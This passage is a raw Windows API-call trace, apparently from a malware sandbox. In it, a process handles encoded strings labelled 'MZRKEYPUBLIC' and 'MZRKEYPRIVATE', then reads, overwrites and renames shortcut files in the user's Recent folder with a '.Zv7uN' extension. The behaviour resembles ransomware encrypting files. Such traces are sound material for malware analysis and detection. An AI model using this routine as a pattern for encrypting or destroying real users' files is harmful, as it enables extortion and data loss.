lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0084.826] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0084.826] GetCurrentThreadId () returned 0xa30 [0084.827] GetCurrentThreadId () returned 0xa30 [0084.827] GetCurrentThreadId () returned 0xa30 [0084.827] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Zyj26cHu tegBHSw1Uj.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zyj26chu tegbhsw1uj.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.827] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0084.827] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.827] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xe76 [0084.827] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.827] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xe76, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xe76, lpOverlapped=0x0) returned 1 [0084.829] CloseHandle (hObject=0x124) returned 1 [0084.829] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Zyj26cHu tegBHSw1Uj.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zyj26chu tegbhsw1uj.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.831] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xe76, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xe76, lpOverlapped=0x0) returned 1 [0084.833] CloseHandle (hObject=0x124) returned 1 [0084.835] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Zyj26cHu tegBHSw1Uj.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zyj26chu tegbhsw1uj.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Zyj26cHu tegBHSw1Uj.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\zyj26chu tegbhsw1uj.lnk.zv7un")) returned 1 [0084.837] GetCurrentThreadId () returned 0xa30 [0084.837] GetCurrentThreadId () returned 0xa30 [0084.837] GetCurrentThreadId () returned 0xa30 [0084.837] GetCurrentThreadId () returned 0xa30 [0084.837] GetCurrentThreadId () returned 0xa30 [0084.837] GetCurrentThreadId () returned 0xa30 [0084.837] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2651720, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2651720, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2651720, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x209a, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="_ kJbX69.lnk", cAlternateFileName="_KJBX6~1.LNK")) returned 1 [0084.837] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.837] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.837] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_ kJbX69.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_ kjbx69.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2651720, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2651720, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2651720, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x209a)) returned 1 [0084.837] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_ kJbX69.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_ kjbx69.lnk")) returned 0x20 [0084.837] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_ kJbX69.lnk", dwFileAttributes=0x80) returned 1 [0084.840] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0084.840] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0084.842] GetCurrentThreadId () returned 0xa30 [0084.842] GetCurrentThreadId () returned 0xa30 [0084.842] GetCurrentThreadId () returned 0xa30 [0084.842] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0084.842] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0084.843] GetCurrentThreadId () returned 0xa30 [0084.843] GetCurrentThreadId () returned 0xa30 [0084.843] GetCurrentThreadId () returned 0xa30 [0084.843] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_ kJbX69.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_ 